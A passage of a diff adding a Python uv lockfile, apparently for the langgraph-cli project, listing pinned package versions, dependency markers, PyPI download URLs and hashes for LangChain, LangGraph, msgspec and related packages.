+    { url = "https://files.pythonhosted.org/packages/16/b2/d5e59cf1dca5e72228f05df881e6de0006eb5d536e7bc359015d01357f4d/jsonschema_rs-0.44.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:26c50f9bf4568874a5c6d1ca5c7e739b42529673d2d4c89a2c170800d7983fd4", size = 3746177, upload-time = "2026-03-03T19:08:20.033Z" },
+]
+
+[[package]]
+name = "keyring"
+version = "25.7.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "importlib-metadata", marker = "python_full_version < '3.12'" },
+    { name = "jaraco-classes" },
+    { name = "jaraco-context" },
+    { name = "jaraco-functools" },
+    { name = "jeepney", marker = "sys_platform == 'linux'" },
+    { name = "pywin32-ctypes", marker = "sys_platform == 'win32'" },
+    { name = "secretstorage", marker = "sys_platform == 'linux'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/43/4b/674af6ef2f97d56f0ab5153bf0bfa28ccb6c3ed4d1babf4305449668807b/keyring-25.7.0.tar.gz", hash = "sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b", size = 63516, upload-time = "2025-11-16T16:26:09.482Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/81/db/e655086b7f3a705df045bf0933bdd9c2f79bb3c97bfef1384598bb79a217/keyring-25.7.0-py3-none-any.whl", hash = "sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2689f", size = 39160, upload-time = "2025-11-16T16:26:08.402Z" },
+]
+
+[[package]]
+name = "langchain-core"
+version = "1.4.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "jsonpatch", marker = "python_full_version >= '3.11'" },
+    { name = "langchain-protocol", marker = "python_full_version >= '3.11'" },
+    { name = "langsmith", marker = "python_full_version >= '3.11'" },
+    { name = "packaging", marker = "python_full_version >= '3.11'" },
+    { name = "pydantic", marker = "python_full_version >= '3.11'" },
+    { name = "pyyaml", marker = "python_full_version >= '3.11'" },
+    { name = "tenacity", marker = "python_full_version >= '3.11'" },
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+    { name = "uuid-utils", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/59/de/679a53472c25860837e32c0442c962fa86e95317a36460e2c9d5c91b17c2/langchain_core-1.4.0.tar.gz", hash = "sha256:1dc341eed802ed9c117c0df3923c991e5e9e226571e5725c194eeb5bd93d1a7f", size = 920260, upload-time = "2026-05-11T18:42:35.919Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0f/1a/86c38c27b81913a1c6c12448cab55defb5a1097c7dc9a4cea83f55477a2d/langchain_core-1.4.0-py3-none-any.whl", hash = "sha256:23cbbdb46e38ddd1dd5247e6167e96013eae74bea4c5949c550809970a9e565c", size = 548120, upload-time = "2026-05-11T18:42:33.992Z" },
+]
+
+[[package]]
+name = "langchain-protocol"
+version = "0.0.17"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/44/b3/4e2429876c7a35585618caa2b9f9089f7162a6b50562b614ad82ac11c17e/langchain_protocol-0.0.17.tar.gz", hash = "sha256:e7cbe58c205df4b4fd87dc6d5bb23f10e13b236d0e2e1b0b9d05bc2b648f3eea", size = 6026, upload-time = "2026-06-12T18:39:51.923Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/13/0a/a1bfe72c6ec856e99773bbd96c8086421e554b3693d0142b9ea009c6ac92/langchain_protocol-0.0.17-py3-none-any.whl", hash = "sha256:982a08fe152586ed10d4ff3d538c2e0b5766e5f307cdea325e10be3f2c17cae6", size = 7096, upload-time = "2026-06-12T18:39:50.973Z" },
+]
+
+[[package]]
+name = "langgraph"
+version = "1.2.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-checkpoint", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-prebuilt", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-sdk", marker = "python_full_version >= '3.11'" },
+    { name = "pydantic", marker = "python_full_version >= '3.11'" },
+    { name = "xxhash", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5c/55/e42f59b5e4cce75085f68abb77114c4d1152628157bd60c2587881bca559/langgraph-1.2.3.tar.gz", hash = "sha256:7f89cd5f0946fe29bd7ca048e2a84d3c14e7f652e38bb98e00f0ba8b7004b9d0", size = 718812, upload-time = "2026-06-01T18:55:54.458Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/39/9b/287f11be799f2f4dd289ab19d23788df22ac20ce884a010d0696f79016db/langgraph-1.2.3-py3-none-any.whl", hash = "sha256:22e6c89084adb3edb7855f6ffa692af3d75925f9c70deb43b86da14db1b02c78", size = 244841, upload-time = "2026-06-01T18:55:52.945Z" },
+]
+
+[[package]]
+name = "langgraph-api"
+version = "0.10.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "cloudpickle", marker = "python_full_version >= '3.11'" },
+    { name = "cryptography", marker = "python_full_version >= '3.11'" },
+    { name = "grpcio", marker = "python_full_version >= '3.11'" },
+    { name = "grpcio-health-checking", marker = "python_full_version >= '3.11'" },
+    { name = "grpcio-tools", marker = "python_full_version >= '3.11'" },
+    { name = "httptools", marker = "python_full_version >= '3.11' and sys_platform != 'win32'" },
+    { name = "httpx", marker = "python_full_version >= '3.11'" },
+    { name = "jsonschema-rs", marker = "python_full_version >= '3.11'" },
+    { name = "langchain-core", marker = "python_full_version >= '3.11'" },
+    { name = "langchain-protocol", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-checkpoint", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-runtime-inmem", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-sdk", marker = "python_full_version >= '3.11'" },
+    { name = "langsmith", extra = ["otel"], marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-api", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-exporter-otlp-proto-http", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-sdk", marker = "python_full_version >= '3.11'" },
+    { name = "orjson", marker = "python_full_version >= '3.11'" },
+    { name = "protobuf", marker = "python_full_version >= '3.11'" },
+    { name = "pyjwt", marker = "python_full_version >= '3.11'" },
+    { name = "sse-starlette", marker = "python_full_version >= '3.11'" },
+    { name = "starlette", marker = "python_full_version >= '3.11'" },
+    { name = "structlog", marker = "python_full_version >= '3.11'" },
+    { name = "tenacity", marker = "python_full_version >= '3.11'" },
+    { name = "truststore", marker = "python_full_version >= '3.11'" },
+    { name = "uuid-utils", marker = "python_full_version >= '3.11'" },
+    { name = "uvicorn", marker = "python_full_version >= '3.11'" },
+    { name = "uvloop", marker = "python_full_version >= '3.11' and sys_platform != 'win32'" },
+    { name = "watchfiles", marker = "python_full_version >= '3.11'" },
+    { name = "websockets", marker = "python_full_version >= '3.11'" },
+    { name = "zstandard", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/7d/17/a23ecdad3de7e48209bc8d534312ba83e332126ec60da9e6487461b02597/langgraph_api-0.10.0.tar.gz", hash = "sha256:f594a160857e2cd7fb2352bba585111177a4a394625ad0cf5898814754fb7bc1", size = 713903, upload-time = "2026-06-11T14:36:50.469Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0e/38/6b0cdcaaed9b3105102b452a5a70fb08894a9511458cf00c061c4725347c/langgraph_api-0.10.0-py3-none-any.whl", hash = "sha256:f4b545bf1936c4e90bed1cc07a6852b1be37e1667007ab4736d800cc18e9f9b3", size = 577475, upload-time = "2026-06-11T14:36:48.838Z" },
+]
+
+[[package]]
+name = "langgraph-checkpoint"
+version = "4.1.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core", marker = "python_full_version >= '3.11'" },
+    { name = "ormsgpack", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/83/47/886af6f886f0bff2273164a45f008694e48a96ff3cd25ff0228f2aa9480e/langgraph_checkpoint-4.1.1.tar.gz", hash = "sha256:6c2bdb530c91f91d7d9c1bd100925d0fc4f498d418c17f3587d1526279482a25", size = 184020, upload-time = "2026-05-22T16:57:38.503Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/bd/b4/71425e3e38be92611300b9cc5e46a5bf98ab23f5ea8a75b73d02a2f1413c/langgraph_checkpoint-4.1.1-py3-none-any.whl", hash = "sha256:25d29144b082827218e7bc3f1e9b0566a4bb007895cd6cc26f66a8428739f56e", size = 56212, upload-time = "2026-05-22T16:57:37.203Z" },
+]
+
+[[package]]
+name = "langgraph-cli"
+source = { editable = "." }
+dependencies = [
+    { name = "click" },
+    { name = "httpx" },
+    { name = "langgraph-sdk", marker = "python_full_version >= '3.11'" },
+    { name = "pathspec" },
+    { name = "python-dotenv" },
+    { name = "tomli", marker = "python_full_version < '3.11'" },
+]
+
+[package.optional-dependencies]
+inmem = [
+    { name = "langgraph-api", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-runtime-inmem", marker = "python_full_version >= '3.11'" },
+]
+
+[package.dev-dependencies]
+dev = [
+    { name = "codespell" },
+    { name = "hatch" },
+    { name = "msgspec" },
+    { name = "pytest" },
+    { name = "pytest-asyncio" },
+    { name = "pytest-mock" },
+    { name = "pytest-watch" },
+    { name = "ruff" },
+    { name = "ty" },
+]
+lint = [
+    { name = "codespell" },
+    { name = "ruff" },
+    { name = "ty" },
+]
+test = [
+    { name = "msgspec" },
+    { name = "pytest" },
+    { name = "pytest-asyncio" },
+    { name = "pytest-mock" },
+    { name = "pytest-watch" },
+]
+
+[package.metadata]
+requires-dist = [
+    { name = "click", specifier = ">=8.1.7" },
+    { name = "httpx", specifier = ">=0.24.0" },
+    { name = "langgraph-api", marker = "python_full_version >= '3.11' and extra == 'inmem'", specifier = ">=0.5.35,<1.0.0" },
+    { name = "langgraph-runtime-inmem", marker = "python_full_version >= '3.11' and extra == 'inmem'", specifier = ">=0.7" },
+    { name = "langgraph-sdk", marker = "python_full_version >= '3.11'", specifier = ">=0.1.0" },
+    { name = "pathspec", specifier = ">=0.11.0" },
+    { name = "python-dotenv", specifier = ">=0.8.0" },
+    { name = "tomli", marker = "python_full_version < '3.11'", specifier = ">=2.0.1" },
+]
+provides-extras = ["inmem"]
+
+[package.metadata.requires-dev]
+dev = [
+    { name = "codespell" },
+    { name = "hatch", specifier = ">=1.16.2" },
+    { name = "msgspec" },
+    { name = "pytest" },
+    { name = "pytest-asyncio" },
+    { name = "pytest-mock" },
+    { name = "pytest-watch" },
+    { name = "ruff" },
+    { name = "ty" },
+]
+lint = [
+    { name = "codespell" },
+    { name = "ruff" },
+    { name = "ty" },
+]
+test = [
+    { name = "msgspec" },
+    { name = "pytest" },
+    { name = "pytest-asyncio" },
+    { name = "pytest-mock" },
+    { name = "pytest-watch" },
+]
+
+[[package]]
+name = "langgraph-prebuilt"
+version = "1.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-checkpoint", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/29/66/ed9b93f56bc17ef22d551892f0ac2b225a97fe0fcf23a511b857f70d590b/langgraph_prebuilt-1.1.0.tar.gz", hash = "sha256:3c579cf6eed2d17f9c157c2d0fcaddcd8688524e7022d3b22b37a3bf4589d528", size = 178833, upload-time = "2026-05-12T03:37:49.332Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e9/43/3fe1a700b8490ed02679cdbbc8c915eb23a092faf496c9c1118abcd10be3/langgraph_prebuilt-1.1.0-py3-none-any.whl", hash = "sha256:51e311747d755b751d5c6b39b0c1446124d3a7643d2515017e6714b323508fc9", size = 41043, upload-time = "2026-05-12T03:37:48.007Z" },
+]
+
+[[package]]
+name = "langgraph-runtime-inmem"
+version = "0.30.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "blockbuster", marker = "python_full_version >= '3.11'" },
+    { name = "croniter", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph", marker = "python_full_version >= '3.11'" },
+    { name = "langgraph-checkpoint", marker = "python_full_version >= '3.11'" },
+    { name = "sse-starlette", marker = "python_full_version >= '3.11'" },
+    { name = "starlette", marker = "python_full_version >= '3.11'" },
+    { name = "structlog", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/98/19/5d330e22e3ee2569742d3577b4ddfbb6b8e383f2edd9724b4a4b73735717/langgraph_runtime_inmem-0.30.0.tar.gz", hash = "sha256:31954e1de6cd43c284b425243d4faeae818f68b3daca4dbe4313e651b6f5e11d", size = 129940, upload-time = "2026-06-11T14:22:46.985Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/fe/df/cfb15c70fa4dcab9ea48f8fda9f4ed87d1767eea6e4d2901dc704da297ba/langgraph_runtime_inmem-0.30.0-py3-none-any.whl", hash = "sha256:08a36b83b5e32fe6e30cb25062a1e671a42e2a0206e4043cc95f41198dcbbb12", size = 51762, upload-time = "2026-06-11T14:22:46.012Z" },
+]
+
+[[package]]
+name = "langgraph-sdk"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "httpx", marker = "python_full_version >= '3.11'" },
+    { name = "langchain-core", marker = "python_full_version >= '3.11'" },
+    { name = "langchain-protocol", marker = "python_full_version >= '3.11'" },
+    { name = "orjson", marker = "python_full_version >= '3.11'" },
+    { name = "websockets", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b4/2b/bd8ac26d4e97f6df88ef05ce5b6a38945a3903e1025d926f4752aa88aa97/langgraph_sdk-0.4.2.tar.gz", hash = "sha256:b88f0f5f6328ac0680d6790614a905b2bcfa257f2276dba4e38f0e86db0aa738", size = 348327, upload-time = "2026-06-01T17:51:19.856Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a0/05/aac507337cceae773c2cc9ab91eb6301963af7aeeb55b4217a00e15aff17/langgraph_sdk-0.4.2-py3-none-any.whl", hash = "sha256:75fa5096c1177ce39c847096a8fe3745ffd480ddb412995f836e9f5f884c43dd", size = 160521, upload-time = "2026-06-01T17:51:18.849Z" },
+]
+
+[[package]]
+name = "langsmith"
+version = "0.8.18"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "httpx", marker = "python_full_version >= '3.11'" },
+    { name = "orjson", marker = "python_full_version >= '3.11' and platform_python_implementation != 'PyPy'" },
+    { name = "packaging", marker = "python_full_version >= '3.11'" },
+    { name = "pydantic", marker = "python_full_version >= '3.11'" },
+    { name = "requests", marker = "python_full_version >= '3.11'" },
+    { name = "requests-toolbelt", marker = "python_full_version >= '3.11'" },
+    { name = "uuid-utils", marker = "python_full_version >= '3.11'" },
+    { name = "websockets", marker = "python_full_version >= '3.11'" },
+    { name = "xxhash", marker = "python_full_version >= '3.11'" },
+    { name = "zstandard", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" },
+]
+
+[package.optional-dependencies]
+otel = [
+    { name = "opentelemetry-api", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-exporter-otlp-proto-http", marker = "python_full_version >= '3.11'" },
+    { name = "opentelemetry-sdk", marker = "python_full_version >= '3.11'" },
+]
+
+[[package]]
+name = "markdown-it-py"
+version = "4.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "mdurl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" },
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
+]
+
+[[package]]
+name = "more-itertools"
+version = "11.0.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a2/f7/139d22fef48ac78127d18e01d80cf1be40236ae489769d17f35c3d425293/more_itertools-11.0.2.tar.gz", hash = "sha256:392a9e1e362cbc106a2457d37cabf9b36e5e12efd4ebff1654630e76597df804", size = 144659, upload-time = "2026-04-09T15:01:33.297Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/cb/98/6af411189d9413534c3eb691182bff1f5c6d44ed2f93f2edfe52a1bbceb8/more_itertools-11.0.2-py3-none-any.whl", hash = "sha256:6e35b35f818b01f691643c6c611bc0902f2e92b46c18fffa77ae1e7c46e912e4", size = 71939, upload-time = "2026-04-09T15:01:32.21Z" },
+]
+
+[[package]]
+name = "msgspec"
+version = "0.21.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e3/60/f79b9b013a16fa3a58350c9295ddc6789f2e335f36ea61ed10a21b215364/msgspec-0.21.1.tar.gz", hash = "sha256:2313508e394b0d208f8f56892ca9b2799e2561329de9763b19619595a6c0f72c", size = 319193, upload-time = "2026-04-12T21:44:50.394Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/96/38/d591d9f66d43d897ecbd249f2833665823d19c8b043f16619bc8343e23df/msgspec-0.21.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72d9cd03241b8b2edb2e12dcc66c500fa480d8cbd71a8bac105809d468882064", size = 195172, upload-time = "2026-04-12T21:43:45.062Z" },
+    { url = "https://files.pythonhosted.org/packages/69/1a/6899188b5982ec1324e0c629b7801eed2db987f6634fab58abd9fc82d317/msgspec-0.21.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ed2ab278200e743a1d2610a4e0c8fc74f6cecb8548544cdec43f927bd9265238", size = 188316, upload-time = "2026-04-12T21:43:46.641Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/95/7e591b4fa11fdbbf9891164473c23420a8c781ef553295abe416bf335f42/msgspec-0.21.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dd677e3001fdfed9186de72eab434da2976303cd5eb9550921d3d0c3e3e168ce", size = 216565, upload-time = "2026-04-12T21:43:48.081Z" },
+    { url = "https://files.pythonhosted.org/packages/19/86/714feeaf3b84cf2027235681725593840153dedd2868578f9f2715e296bb/msgspec-0.21.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f667b90b37fad734a91671abd68e0d7f4d066862771b87e91c53996dcb7a9027", size = 222689, upload-time = "2026-04-12T21:43:49.385Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/b9/4384243e814f2579e5205e17d170b9c1a30121afd1393298d904817a7fa7/msgspec-0.21.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:49880fd20fdbcfe1b793f07dd83f12572bab679c9800352c8b2240289aa46a06", size = 222343, upload-time = "2026-04-12T21:43:50.612Z" },
+    { url = "https://files.pythonhosted.org/packages/04/01/4b227d9c4057346271043632bad41979cf8c3dca372e41bb1f7d546395b2/msgspec-0.21.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ae0162e22849a5e91eaad907766525107523b0daea3df267a9fcb5ba4e0936ae", size = 225607, upload-time = "2026-04-12T21:43:52.129Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/ce/27021d1c3e5da837743092a7b7a5e8818397e1f4c05ee8b068bd7d1fd78a/msgspec-0.21.1-cp310-cp310-win_amd64.whl", hash = "sha256:f041a2279f31e3a53319005e4d60ba77c085cfcbe394cdc7ce803c2d01fe9449", size = 188392, upload-time = "2026-04-12T21:43:53.384Z" },
+    { url = "https://files.pythonhosted.org/packages/80/2b/daf7a8d6d7cf00e0dcd0439178b284ade701234abdcadf3385601da04fbd/msgspec-0.21.1-cp310-cp310-win_arm64.whl", hash = "sha256:1bf17cbd7b28a5dffc7e764c654eed8ccde5e0f1de7970628608304640d4ce4e", size = 174191, upload-time = "2026-04-12T21:43:54.6Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/7f/bbc4e74cd33d316b75541149e4d35b163b63bce066530ae185a2ec3b5bfc/msgspec-0.21.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b504b6e7f7a22a24b27232b73034421692147865162daaec9f3bf62439007c87", size = 193131, upload-time = "2026-04-12T21:43:56.094Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/60/504886af1aaf854112663b842d5eea9a15d9588f9bf7d0d2df736424b84d/msgspec-0.21.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4692b7c1609155708c4418f88e92f63c13fdf08aa095c84bae82bad75b53389b", size = 186597, upload-time = "2026-04-12T21:43:57.242Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/54/d24ddeaa65b5278c9e67f48ce3c17a9831e8f3722f3c8322ee120aca22ef/msgspec-0.21.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d3124010b3815451494c85ff345e693cb9fe5889cfcbbef39ed8622e0e72319c", size = 215158, upload-time = "2026-04-12T21:43:58.442Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/75/bb79c8b89a93ae23cd33c0d802373f16feaf9633f05d8af77091350dda0a/msgspec-0.21.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6badc03b9725352219cca017bfe71c61f2fbd0fb5982b410ac17c97c213deb30", size = 219856, upload-time = "2026-04-12T21:44:00.015Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/9c/c5ca26b46f0ebbd3a6683695ef89396712cb9e4199fd1f0bc1dd968216b1/msgspec-0.21.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5d2d4116ebe3035a78d9ec76e99a9d64e5fa6d44fe61a9c5de7fd1acf54bcc69", size = 220314, upload-time = "2026-04-12T21:44:01.548Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/31/645a351c4285dce40ed6755c3dcc0aa648e26dacb20a98018fe2cce5e87b/msgspec-0.21.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0d1009f6715f5bff3b54d4ff5c7428ad96197e0534e1645b8e9b955890c84664", size = 223215, upload-time = "2026-04-12T21:44:02.884Z" },
+    { url = "https://files.pythonhosted.org/packages/09/af/8bf15736a6dd3cb4f90c5467f6dc39197d2daaf10754490cdc0aa17b7312/msgspec-0.21.1-cp311-cp311-win_amd64.whl", hash = "sha256:c6faffe5bb644ec884052679af4dfd776d4b5ca90e4a7ec7e7e319e4e6b93a6e", size = 188554, upload-time = "2026-04-12T21:44:04.151Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/29/cc7db3a165b62d16e64a83f82eccb79655055cb5bc1f60459a6f9d7c82f2/msgspec-0.21.1-cp311-cp311-win_arm64.whl", hash = "sha256:ee9e3f11fa94603f7d673bf795cfa31b549c4a2c723bc39b45beb1e7f5a3fb99", size = 174517, upload-time = "2026-04-12T21:44:05.66Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/cf/317224852c00248c620a9bcf4b26e2e4ab8afd752f18d2a6ef73ebd423b6/msgspec-0.21.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d4248cf0b6129b7d230eacd493c17cc2d4f3989f3bb7f633a928a85b7dcfa251", size = 196188, upload-time = "2026-04-12T21:44:07.181Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/81/074612945c0666078f7366f40000013de9f6ba687491d450df699bceebc9/msgspec-0.21.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5102c7e9b3acff82178449b85006d96310e690291bb1ea0142f1b24bcb8aabcb", size = 188473, upload-time = "2026-04-12T21:44:08.736Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/37/655101799590bcc5fddb2bd3fe0e6194e816c2d1da7c361725f5eb89a910/msgspec-0.21.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:846758412e9518252b2ac9bffd6f0e54d9ff614f5f9488df7749f81ff5c80920", size = 218871, upload-time = "2026-04-12T21:44:09.917Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/d1/d4cd9fe89c7d400d7a18f86ccc94daa3f0927f53558846fcb60791dce5d6/msgspec-0.21.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21995e74b5c598c2e004110ad66ec7f1b8c20bf2bcf3b2de8fd9a3094422d3ff", size = 225025, upload-time = "2026-04-12T21:44:11.191Z" },
+    { url = "https://files.pythonhosted.org/packages/24/bf/e20549e602b9edccadeeff98760345a416f9cce846a657e8b18e3396b212/msgspec-0.21.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6129f0cca52992e898fd5344187f7c8127b63d810b2fd73e36fca73b4c6475ee", size = 222672, upload-time = "2026-04-12T21:44:12.481Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/68/04d7a8f0f786545cf9b8c280c57aa6befb5977af6e884b8b54191cbe44b3/msgspec-0.21.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ef3ec2296248d1f8b9231acb051b6d471dfde8f21819e86c9adaaa9f42918521", size = 227303, upload-time = "2026-04-12T21:44:13.709Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/4d/619866af2840875be408047bf9e70ceafbae6ab50660de7134ed1b25eb86/msgspec-0.21.1-cp312-cp312-win_amd64.whl", hash = "sha256:d4ab834a054c6f0cbeef6df9e7e1b33d5f1bc7b86dea1d2fd7cad003873e783d", size = 190017, upload-time = "2026-04-12T21:44:14.977Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/2e/a8f9eca8fd00e097d7a9e99ba8a4685db994494448e3d4f0b7f6e9a3c0f7/msgspec-0.21.1-cp312-cp312-win_arm64.whl", hash = "sha256:628aaa35c74950a8c59da330d7e98917e1c7188f983745782027748ee4ca573e", size = 175345, upload-time = "2026-04-12T21:44:16.431Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/74/f11ede02839b19ff459f88e3145df5d711626ca84da4e23520cebf819367/msgspec-0.21.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:764173717a01743f007e9f74520ed281f24672c604514f7d76c1c3a10e8edb66", size = 196176, upload-time = "2026-04-12T21:44:17.613Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/40/4476c1bd341418a046c4955aff632ec769315d1e3cb94e6acf86d461f9ed/msgspec-0.21.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:344c7cd0eaed1fb81d7959f99100ef71ec9b536881a376f11b9a6c4803365697", size = 188524, upload-time = "2026-04-12T21:44:18.815Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/d9/9e9d7d7e5061b47540d03d640fab9b3965ba7ae49c1b2154861c8f007518/msgspec-0.21.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48943e278b3854c2f89f955ddc6f9f430d3f0784b16e47d10604ee0463cd21f5", size = 218880, upload-time = "2026-04-12T21:44:20.028Z" },
